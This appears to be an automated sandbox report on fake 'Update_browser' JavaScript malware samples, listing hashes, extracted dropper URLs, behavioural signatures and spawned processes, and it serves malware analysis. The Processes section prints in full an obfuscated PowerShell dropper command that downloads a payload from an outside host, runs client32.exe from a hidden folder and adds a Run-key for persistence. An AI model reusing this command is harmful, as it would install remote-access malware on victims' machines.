Overview
overview
10Static
static
1Setup/Upda...531.js
windows7-x64
8Setup/Upda...531.js
windows10-2004-x64
10Setup/Upda...532.js
windows7-x64
8Setup/Upda...532.js
windows10-2004-x64
10Setup/Upda...533.js
windows7-x64
8Setup/Upda...533.js
windows10-2004-x64
10Update_bro...436.js
windows7-x64
8Update_bro...436.js
windows10-2004-x64
10Analysis
- max time kernel
2s - max time network
116s - platform
windows10-2004_x64 - resource
win10v2004-20231222-en - resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system - submitted
09/01/2024, 18:17
Static task
static1
Behavioral task
behavioral1
Sample
Setup/Update_browser_17.64531.js
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
Setup/Update_browser_17.64531.js
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
Setup/Update_browser_17.64532.js
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
Setup/Update_browser_17.64532.js
Resource
win10v2004-20231222-en
Behavioral task
behavioral5
Sample
Setup/Update_browser_17.64533.js
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
Setup/Update_browser_17.64533.js
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
Update_browser_17.6436.js
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
Update_browser_17.6436.js
Resource
win10v2004-20231215-en
General
- Target Setup/Update_browser_17.64532.js
- Size 443KB
- Sample240109-wxfapsfbgn
- SHA256 082f04668c9da3d8f22cd743b8e96171792b5f5b7397a36c2736a232c8c19c91
- MD5 101f7f74844d0bee8d058a4931ad69b1
- SHA1 3b57a073d6002ad572cb8d2f87ac7843c255648c
- SHA512 c43c7133a6b8cba6516f823ff89f4ac42c50c20b6025cbbb71c59831d5ddcf876fb13328da94589090746d00609e4933d285d562a9f3f2febd206e40097e40a2
- SSDEEP 12288:lqlI1T7cZd+YqlI1T7cZd+jqlI1T7cZd+p:lqlyT7cZdbqlyT7cZdOqlyT7cZdS
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://boxtechcompany.com/data.php?12832
-
exe.dropper
https://boxtechcompany.com/data.php?12832
Signatures
- Blocklisted process makes network request 1 IoCs
flow pid Process 6 3076 wscript.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 6 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Setup\Update_browser_17.64532.js1⤵
- Blocklisted process makes network request
PID:3076 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $tlKTCoiFaDOup='https://boxtechcompany.com/data.php?12832';$MvyOYjSSvtsfkqrFbUofkIdWxlPJDNPE=(New-Object System.Net.WebClient).DownloadString($tlKTCoiFaDOup);$hcdbUCzPICUNkogZrxNCH=[System.Convert]::FromBase64String($MvyOYjSSvtsfkqrFbUofkIdWxlPJDNPE);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $PouJYLHtetKMlPErVVYBBuAYdHaGdtB=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $PouJYLHtetKMlPErVVYBBuAYdHaGdtB -PathType Container)) { New-Item -Path $PouJYLHtetKMlPErVVYBBuAYdHaGdtB -ItemType Directory };$p=Join-Path $PouJYLHtetKMlPErVVYBBuAYdHaGdtB 'vib.zip';[System.IO.File]::WriteAllBytes($p,$hcdbUCzPICUNkogZrxNCH);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$PouJYLHtetKMlPErVVYBBuAYdHaGdtB)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $PouJYLHtetKMlPErVVYBBuAYdHaGdtB 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $PouJYLHtetKMlPErVVYBBuAYdHaGdtB -Force; $FSDFSSD.attributes='Hidden';$s=$PouJYLHtetKMlPErVVYBBuAYdHaGdtB+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;2⤵PID:2772
-